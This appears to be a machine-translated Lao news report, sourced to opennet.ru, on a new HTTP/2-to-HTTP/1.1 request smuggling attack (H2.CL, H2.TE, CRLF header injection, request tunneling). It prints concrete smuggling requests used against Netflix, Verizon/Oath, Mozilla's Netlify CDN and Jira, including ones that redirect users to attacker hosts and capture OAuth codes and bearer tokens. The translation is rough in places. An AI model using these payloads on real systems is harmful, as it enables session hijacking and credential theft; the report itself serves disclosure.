ການໂຈມຕີໃຫມ່ໃນລະບົບ front-end-backend ທີ່ອະນຸຍາດໃຫ້ທ່ານສາມາດເຂົ້າໄປໃນການຮ້ອງຂໍ

ລະບົບເວັບທີ່ frontend ຍອມຮັບການເຊື່ອມຕໍ່ຜ່ານ HTTP/2 ແລະສົ່ງໄປຫາ backend ຜ່ານ HTTP/1.1 ໄດ້ຖືກເປີດເຜີຍກັບຕົວແປໃຫມ່ຂອງການໂຈມຕີ HTTP Request Smuggling, ເຊິ່ງອະນຸຍາດໃຫ້, ໂດຍການສົ່ງຄໍາຮ້ອງຂໍລູກຄ້າອອກແບບພິເສດ, ເຂົ້າໄປໃນເນື້ອໃນ. ຂອງການຮ້ອງຂໍຈາກຜູ້ໃຊ້ອື່ນໆທີ່ປະມວນຜົນໃນກະແສດຽວກັນລະຫວ່າງ frontend ແລະ backend. ການໂຈມຕີສາມາດຖືກນໍາໃຊ້ເພື່ອໃສ່ລະຫັດ JavaScript ທີ່ເປັນອັນຕະລາຍເຂົ້າໄປໃນເຊດຊັນທີ່ມີເວັບໄຊທ໌ທີ່ຖືກຕ້ອງ, ຂ້າມລະບົບການຄວບຄຸມການເຂົ້າເຖິງ, ແລະຂັດຂວາງຕົວກໍານົດການຢືນຢັນ.

ບັນຫາມີຜົນຕໍ່ຜູ້ໃຊ້ເວັບ, ຕົວດຸ່ນດ່ຽງການໂຫຼດ, ຕົວເລັ່ງເວັບ, ລະບົບການຈັດສົ່ງເນື້ອຫາ ແລະການຕັ້ງຄ່າອື່ນໆທີ່ການຮ້ອງຂໍຖືກປ່ຽນເສັ້ນທາງຕາມໂຄງການດ້ານໜ້າ-ທ້າຍ-ຫຼັງ. ຜູ້ຂຽນຂອງການສຶກສາໄດ້ສະແດງໃຫ້ເຫັນຄວາມສາມາດໃນການໂຈມຕີລະບົບໃນ Netflix, Verizon, Bitbucket, Netlify CDN ແລະ Atlassian, ແລະໄດ້ຮັບ $ 56 ໃນໂຄງການ bounty ຊ່ອງໂຫວ່. ບັນຫາຍັງໄດ້ຮັບການຢືນຢັນໃນຜະລິດຕະພັນ F5 Networks. ບັນຫາບາງສ່ວນມີຜົນກະທົບຕໍ່ mod_proxy ໃນ Apache http server (CVE-2021-33193), ການແກ້ໄຂແມ່ນຄາດວ່າຈະຢູ່ໃນສະບັບ 2.4.49 (ຜູ້ພັດທະນາໄດ້ຮັບແຈ້ງບັນຫາໃນຕົ້ນເດືອນພຶດສະພາແລະໄດ້ຮັບ 3 ເດືອນເພື່ອແກ້ໄຂມັນ). ໃນ nginx, ຄວາມສາມາດໃນການລະບຸສ່ວນຫົວ "ຄວາມຍາວເນື້ອຫາ" ແລະ "ການເຂົ້າລະຫັດການໂອນ" ໃນເວລາດຽວກັນໄດ້ຖືກສະກັດໃນການປ່ອຍຫຼ້າສຸດ (1.21.1). ເຄື່ອງມືການໂຈມຕີໄດ້ຖືກເພີ່ມເຂົ້າໃນຊຸດເຄື່ອງມື Burp ແລະມີຢູ່ໃນສ່ວນຂະຫຍາຍ Turbo Intruder.

ຫຼັກການຂອງການປະຕິບັດງານຂອງວິທີການໃຫມ່ຂອງການຮ້ອງຂໍ wedging ເຂົ້າໄປໃນການຈະລາຈອນແມ່ນຄ້າຍຄືກັນກັບຊ່ອງໂຫວ່ທີ່ໄດ້ລະບຸໄວ້ໂດຍນັກຄົ້ນຄວ້າດຽວກັນເມື່ອສອງປີກ່ອນ, ແຕ່ຈໍາກັດຕໍ່ຫນ້າທີ່ຍອມຮັບການຮ້ອງຂໍຜ່ານ HTTP / 1.1. ຈື່ໄວ້ວ່າໃນໂຄງການ frontend-backend, ການຮ້ອງຂໍຂອງລູກຄ້າແມ່ນໄດ້ຮັບໂດຍ node ເພີ່ມເຕີມ - frontend, ເຊິ່ງສ້າງການເຊື່ອມຕໍ່ TCP ທີ່ມີຊີວິດຍາວກັບ backend ທີ່ດໍາເນີນການໂດຍກົງກັບຄໍາຮ້ອງຂໍ. ໂດຍຜ່ານການເຊື່ອມຕໍ່ທົ່ວໄປນີ້, ການຮ້ອງຂໍຈາກຜູ້ໃຊ້ທີ່ແຕກຕ່າງກັນມັກຈະຖືກສົ່ງຕໍ່, ເຊິ່ງປະຕິບັດຕາມລະບົບຕ່ອງໂສ້ຫນຶ່ງຫຼັງຈາກທີ່ອື່ນ, ແຍກອອກໂດຍວິທີການ HTTP protocol.

ການໂຈມຕີ "HTTP Request Smuggling" ຄລາສສິກແມ່ນອີງໃສ່ຄວາມຈິງທີ່ວ່າ frontends ແລະ backends ຕີຄວາມໝາຍຂອງການໃຊ້ HTTP headers "Content-Length" (ກໍານົດຂະຫນາດທັງຫມົດຂອງຂໍ້ມູນໃນຄໍາຮ້ອງຂໍ) ແລະ "Transfer-Encoding: chunked" ( ອະ​ນຸ​ຍາດ​ໃຫ້​ການ​ໂອນ​ຂໍ້​ມູນ​ໃນ​ພາກ​ສ່ວນ​) ທີ່​ແຕກ​ຕ່າງ​ກັນ​. ຕົວຢ່າງ, ຖ້າ frontend ຮອງຮັບພຽງແຕ່ "ຄວາມຍາວເນື້ອຫາ" ແຕ່ບໍ່ສົນໃຈ "Transfer-Encoding: chunked", ຫຼັງຈາກນັ້ນຜູ້ໂຈມຕີສາມາດສົ່ງຄໍາຮ້ອງຂໍທີ່ທັງສອງປະກອບມີ "ຄວາມຍາວຂອງເນື້ອຫາ" ແລະ "ການເຂົ້າລະຫັດການໂອນຍ້າຍ: chunked", ແຕ່. ຂະຫນາດແມ່ນ "ຄວາມຍາວຂອງເນື້ອຫາ" ບໍ່ກົງກັບຂະຫນາດຂອງລະບົບຕ່ອງໂສ້ chunked. ໃນກໍລະນີນີ້, Frontend ຈະປະມວນຜົນແລະປ່ຽນເສັ້ນທາງການຮ້ອງຂໍຕາມ "ຄວາມຍາວຂອງເນື້ອຫາ", ແລະ backend ຈະລໍຖ້າໃຫ້ block ສໍາເລັດໂດຍອີງໃສ່ "Transfer-Encoding: chunked" ແລະຫາງທີ່ຍັງເຫຼືອຂອງຄໍາຮ້ອງຂໍຂອງຜູ້ໂຈມຕີຈະເປັນ. ໃນຕອນຕົ້ນຂອງການຮ້ອງຂໍຕ່າງປະເທດສົ່ງຕໍ່ໄປ.

ບໍ່ເຫມືອນກັບໂປຣໂຕຄໍຂໍ້ຄວາມ HTTP/1.1, ເຊິ່ງຖືກວິເຄາະໃນລະດັບແຖວ, HTTP/2 ເປັນໂປຣໂຕຄໍຄູ່ ແລະຈັດການຂໍ້ມູນຂະໜາດທີ່ກຳນົດໄວ້ລ່ວງໜ້າ. ຢ່າງໃດກໍຕາມ, HTTP/2 ໃຊ້ pseudo-headers ທີ່ສອດຄ້ອງກັບສ່ວນຫົວ HTTP ປົກກະຕິ. ເມື່ອໂຕ້ຕອບກັບ backend ຜ່ານ HTTP/1.1, frontend ແປສ່ວນຫົວ pseudo-headers ເຫຼົ່ານີ້ເປັນສ່ວນຫົວ HTTP/1.1 HTTP ທີ່ຄ້າຍຄືກັນ. ບັນຫາແມ່ນວ່າ backend ເຮັດການຕັດສິນໃຈກ່ຽວກັບການແຍກສາຍນ້ໍາໂດຍອີງໃສ່ຫົວຂໍ້ HTTP ທີ່ກໍານົດໄວ້ໂດຍ frontend, ໂດຍບໍ່ຮູ້ຕົວກໍານົດການຂອງຄໍາຮ້ອງຂໍຕົ້ນສະບັບ.

ລວມທັງໃນຮູບແບບຂອງ pseudo-headers, ມູນຄ່າ "ຄວາມຍາວຂອງເນື້ອຫາ" ແລະ "ການໂອນເຂົ້າລະຫັດ" ສາມາດຖືກສົ່ງຕໍ່, ເຖິງວ່າຈະມີຄວາມຈິງທີ່ວ່າພວກມັນບໍ່ຖືກນໍາໃຊ້ໃນ HTTP / 2, ນັບຕັ້ງແຕ່ຂະຫນາດຂອງຂໍ້ມູນທັງຫມົດຖືກກໍານົດຢູ່ໃນ ພາກສະຫນາມແຍກຕ່າງຫາກ. ຢ່າງໃດກໍຕາມ, ໃນຂະບວນການປ່ຽນຄໍາຮ້ອງຂໍ HTTP / 2 ເປັນ HTTP / 1.1, ຫົວເຫຼົ່ານີ້ຖືກປະຕິບັດແລະສາມາດສັບສົນກັບ backend. ມີສອງທາງເລືອກການໂຈມຕີຕົ້ນຕໍ: H2.TE ແລະ H2.CL, ໃນທີ່ backend ໄດ້ຖືກຫຼອກລວງໂດຍການເຂົ້າລະຫັດການໂອນທີ່ບໍ່ຖືກຕ້ອງຫຼືມູນຄ່າຄວາມຍາວຂອງເນື້ອຫາທີ່ບໍ່ກົງກັນກັບຂະຫນາດຕົວຈິງຂອງຕົວຮ້ອງຂໍທີ່ໄດ້ຮັບໂດຍ frontend ຜ່ານ. ໂປຣໂຕຄໍ HTTP/2.

ເປັນຕົວຢ່າງຂອງການໂຈມຕີ H2.CL, ຄວາມຍາວຂອງຫົວຂໍ້ pseudo-header ບໍ່ຖືກຕ້ອງເມື່ອສົ່ງຄໍາຮ້ອງຂໍ HTTP/2 ໄປ Netflix. ການຮ້ອງຂໍນີ້ເຮັດໃຫ້ມີການເພີ່ມສ່ວນຫົວ HTTP ຄວາມຍາວຂອງເນື້ອຫາທີ່ຄ້າຍຄືກັນເມື່ອເຂົ້າເຖິງ backend ຜ່ານ HTTP / 1.1, ແຕ່ເນື່ອງຈາກຂະຫນາດຂອງຄວາມຍາວເນື້ອຫາແມ່ນຫນ້ອຍກວ່າຂະຫນາດຕົວຈິງ, ບາງຂໍ້ມູນໃນຫາງໄດ້ຖືກປຸງແຕ່ງເປັນ. ການເລີ່ມຕົ້ນຂອງການຮ້ອງຂໍຕໍ່ໄປ.

ຕົວຢ່າງ, ການຮ້ອງຂໍ HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

ຈະສົ່ງຄຳຮ້ອງຂໍໄປທີ່ backend: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

ເນື່ອງຈາກຄວາມຍາວຂອງເນື້ອຫາຖືກຕັ້ງເປັນ 4, backend ຈະຍອມຮັບພຽງແຕ່ "abcd" ເປັນສ່ວນທີ່ຮ້ອງຂໍ, ແລະດໍາເນີນການສ່ວນທີ່ເຫຼືອຂອງ "GET /n HTTP / 1.1…" ເປັນການເລີ່ມຕົ້ນຂອງຄໍາຮ້ອງຂໍຕໍ່ໄປທີ່ຜູກມັດກັບຜູ້ໃຊ້ອື່ນ. ຕາມນັ້ນແລ້ວ, ກະແສຈະອອກຈາກການຊິງ, ແລະເພື່ອຕອບສະຫນອງຄໍາຮ້ອງຂໍຕໍ່ໄປ, ຜົນໄດ້ຮັບຂອງການປະມວນຜົນຄໍາຮ້ອງຂໍປອມຈະຖືກສົ່ງຄືນ. ໃນກໍລະນີຂອງ Netflix, ການລະບຸເຈົ້າພາບຂອງພາກສ່ວນທີສາມໃນຫົວຂໍ້ "Host:" ໃນຄໍາຮ້ອງຂໍ spoofed ເຮັດໃຫ້ເກີດການຕອບສະຫນອງ "ສະຖານທີ່: https://02.rs?x.netflix.com/n" ກັບລູກຄ້າແລະ ອະນຸຍາດໃຫ້ສົ່ງເນື້ອຫາໂດຍຕົນເອງໄປຫາລູກຄ້າ, ລວມທັງປະຕິບັດລະຫັດ JavaScript ຂອງທ່ານໃນບໍລິບົດຂອງເວັບໄຊທ໌ Netflix.

ຕົວແປທີສອງຂອງການໂຈມຕີ (H2.TE) ແມ່ນກ່ຽວຂ້ອງກັບການທົດແທນຂອງ "Transfer-Encoding: chunked" header. ການ​ນໍາ​ໃຊ້​ຂອງ​ການ​ໂອນ​ການ​ເຂົ້າ​ລະ​ຫັດ pseudo header ໃນ HTTP / 2 ແມ່ນ​ຫ້າມ​ໂດຍ​ສະ​ເພາະ​ແລະ​ຄໍາ​ຮ້ອງ​ສະ​ຫມັກ​ທີ່​ມີ​ມັນ​ໄດ້​ກໍາ​ນົດ​ໃຫ້​ໄດ້​ຮັບ​ການ​ຖື​ວ່າ​ບໍ່​ຖືກ​ຕ້ອງ​. ເຖິງວ່າຈະມີສິ່ງນີ້, ບາງການປະຕິບັດດ້ານຫນ້າບໍ່ສົນໃຈກັບຄວາມຕ້ອງການນີ້ແລະອະນຸຍາດໃຫ້ນໍາໃຊ້ການໂອນເຂົ້າລະຫັດ pseudo-header ໃນ HTTP/2, ເຊິ່ງແປເປັນສ່ວນຫົວ HTTP ທີ່ຄ້າຍຄືກັນ. ຖ້າມີສ່ວນຫົວ “Transfer-Encoding”, backend ສາມາດເອົາມັນເປັນບູລິມະສິດ ແລະ parse ຂໍ້ມູນໃນສ່ວນຕ່າງໆໃນໂຫມດ “chunked” ໂດຍໃຊ້ blocks ຂອງຂະຫນາດຕ່າງໆໃນຮູບແບບ “{size}\r\n{block} \r\n{size} \r\n{block}\r\n0" ເຖິງວ່າຈະມີການແບ່ງຂັ້ນຕົ້ນຕາມຂະໜາດລວມ.

ການປະກົດຕົວຂອງຊ່ອງຫວ່າງດັ່ງກ່າວໄດ້ສະແດງໃຫ້ເຫັນໂດຍຕົວຢ່າງຂອງ Verizon. ຢ່າງໃດກໍຕາມ, ບັນຫາທີ່ກ່ຽວຂ້ອງກັບປະຕູການກວດສອບຄວາມຖືກຕ້ອງແລະລະບົບການຄຸ້ມຄອງເນື້ອຫາ, ເຊິ່ງຍັງຖືກນໍາໃຊ້ໂດຍສະຖານທີ່ເຊັ່ນ Huffington Post ແລະ Engadget. ຕົວຢ່າງ, ການຮ້ອງຂໍຂອງລູກຄ້າຜ່ານ HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com ການໂອນເຂົ້າລະຫັດ chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=

ເຮັດໃຫ້ເກີດ HTTP/1.1 ຮ້ອງຂໍໃຫ້ backend: POST /identity/XUI HTTP/1.1 ໂຮສ: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 ໂຮສ: psres.net ເນື້ອໃນ-ຄວາມຍາວ : 10x=

ໃນທາງກັບກັນ, backend, ບໍ່ສົນໃຈສ່ວນຫົວ "ຄວາມຍາວຂອງເນື້ອຫາ" ແລະເຮັດການແຍກຢູ່ໃນກະແສໂດຍອີງໃສ່ "ການເຂົ້າລະຫັດການໂອນຍ້າຍ: chunked". ໃນທາງປະຕິບັດ, ການໂຈມຕີເຮັດໃຫ້ມັນເປັນໄປໄດ້ທີ່ຈະປ່ຽນເສັ້ນທາງການຮ້ອງຂໍຂອງຜູ້ໃຊ້ໄປຫາເວັບໄຊຂອງທ່ານ, ລວມທັງການຂັດຂວາງຄໍາຮ້ອງຂໍທີ່ກ່ຽວຂ້ອງກັບການກວດສອບ OAuth, ພາລາມິເຕີທີ່ປາກົດຢູ່ໃນສ່ວນຫົວຂອງຜູ້ອ້າງອີງ, ເຊັ່ນດຽວກັນກັບການຈໍາລອງກອງປະຊຸມການກວດສອບແລະການເລີ່ມຕົ້ນການສົ່ງຂໍ້ມູນປະຈໍາຕົວໂດຍຜູ້ໃຊ້. ລະບົບກັບເຈົ້າພາບຂອງຜູ້ໂຈມຕີ. GET /b2blanding/show/oops HTTP/1.1 ເຈົ້າພາບ: psres.net ຜູ້ອ້າງອີງ: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 ເຈົ້າພາບ: psres.net ການອະນຸຍາດ: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik

ເພື່ອໂຈມຕີການປະຕິບັດ HTTP/2 ທີ່ບໍ່ອະນຸຍາດໃຫ້ລະບຸຫົວເລື່ອງການໂອນເຂົ້າລະຫັດ pseudo-header, ວິທີການອື່ນໄດ້ຖືກສະເຫນີທີ່ກ່ຽວຂ້ອງກັບການປ່ຽນສ່ວນຫົວ "Transfer-Encoding" ໂດຍການຕິດມັນໃສ່ກັບຫົວ pseudo-headers ອື່ນໆທີ່ແຍກອອກໂດຍຕົວອັກສອນໃຫມ່ (ເມື່ອຖືກແປງ. ເຖິງ HTTP/1.1 ໃນກໍລະນີນີ້, ສອງສ່ວນຫົວ HTTP ແຍກຕ່າງຫາກແມ່ນຖືກສ້າງຂຶ້ນ).

ຕົວຢ່າງ, Atlassian Jira ແລະ Netlify CDN (ໃຊ້ເພື່ອຮັບໃຊ້ຫນ້າເລີ່ມຕົ້ນ Mozilla ໃນ Firefox) ໄດ້ຮັບຜົນກະທົບຈາກບັນຫານີ້. ໂດຍສະເພາະ, ການຮ້ອງຂໍ HTTP/2 : ວິທີການ POST :path / :authority start.mozilla.org foo b\r\n ການໂອນເຂົ້າລະຫັດ: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n ຄວາມຍາວເນື້ອຫາ: 5\r\n \r\nx=

ເຮັດໃຫ້ການຮ້ອງຂໍ HTTP/1.1 POST / HTTP/1.1 ຖືກສົ່ງໄປຫາ backend\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content- ຄວາມຍາວ: 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n ຄວາມຍາວເນື້ອຫາ: 5\r\n \ r\nx=

ທາງເລືອກອື່ນສໍາລັບການປ່ຽນສ່ວນຫົວ "Transfer-Encoding" ແມ່ນເພື່ອແນບມັນໃສ່ກັບຊື່ຂອງຫົວຂໍ້ pseudo-header ອື່ນຫຼືໃສ່ສາຍທີ່ມີວິທີການຮ້ອງຂໍ. ຕົວຢ່າງ, ເມື່ອເຂົ້າເຖິງ Atlassian Jira, ຊື່ຂອງຫົວຂໍ້ pseudo-header "foo: bar\r\ntransfer-encoding" ທີ່ມີຄ່າ "chunked" ສົ່ງຜົນໃຫ້ມີການເພີ່ມສ່ວນຫົວ HTTP "foo: bar" ແລະ "transfer-encoding. : chunked", ແລະການລະບຸໃນ pseudo-header ":method" ຂອງຄ່າ "GET / HTTP/1.1\r\nTransfer-encoding: chunked" ຖືກແປເປັນ "GET / HTTP/1.1\r\ntransfer-encoding: chunked" .

ນັກຄົ້ນຄວ້າຜູ້ທີ່ໄດ້ກໍານົດບັນຫາຍັງໄດ້ສະເຫນີເຕັກນິກການຮ້ອງຂໍ tunneling ເພື່ອໂຈມຕີ frontends, ໃນການເຊື່ອມຕໍ່ແຍກຕ່າງຫາກກັບ backend ໄດ້ຖືກສ້າງຕັ້ງຂຶ້ນສໍາລັບແຕ່ລະ IP address ແລະການຈະລາຈອນຂອງຜູ້ໃຊ້ທີ່ແຕກຕ່າງກັນບໍ່ໄດ້ປະສົມກັນ. ເຕັກນິກທີ່ສະເຫນີບໍ່ອະນຸຍາດໃຫ້ທ່ານແຊກແຊງຄໍາຮ້ອງຂໍຂອງຜູ້ໃຊ້ອື່ນໆ, ແຕ່ເຮັດໃຫ້ມັນເປັນໄປໄດ້ທີ່ຈະເປັນພິດຂອງ cache ທີ່ໃຊ້ຮ່ວມກັນ, ເຊິ່ງຜົນກະທົບຕໍ່ການປຸງແຕ່ງຄໍາຮ້ອງຂໍອື່ນໆ, ແລະຊ່ວຍໃຫ້ທ່ານສາມາດປ່ຽນສ່ວນຫົວ HTTP ພາຍໃນທີ່ໃຊ້ໃນການໂອນຂໍ້ມູນການບໍລິການຈາກ. ດ້ານຫນ້າໄປຫາ backend (ຕົວຢ່າງເຊັ່ນ, ເມື່ອການກວດສອບຄວາມຖືກຕ້ອງຢູ່ດ້ານຫນ້າໃນສ່ວນຫົວດັ່ງກ່າວສາມາດສົ່ງຂໍ້ມູນກ່ຽວກັບຜູ້ໃຊ້ປະຈຸບັນໄປຫາ backend). ເປັນຕົວຢ່າງຂອງການນໍາໃຊ້ວິທີການໃນການປະຕິບັດ, ການນໍາໃຊ້ cache poisoning, ມັນເປັນໄປໄດ້ທີ່ຈະໄດ້ຮັບການຄວບຄຸມຫນ້າເວັບຕ່າງໆໃນການບໍລິການ Bitbucket.

ແຫຼ່ງຂໍ້ມູນ: opennet.ru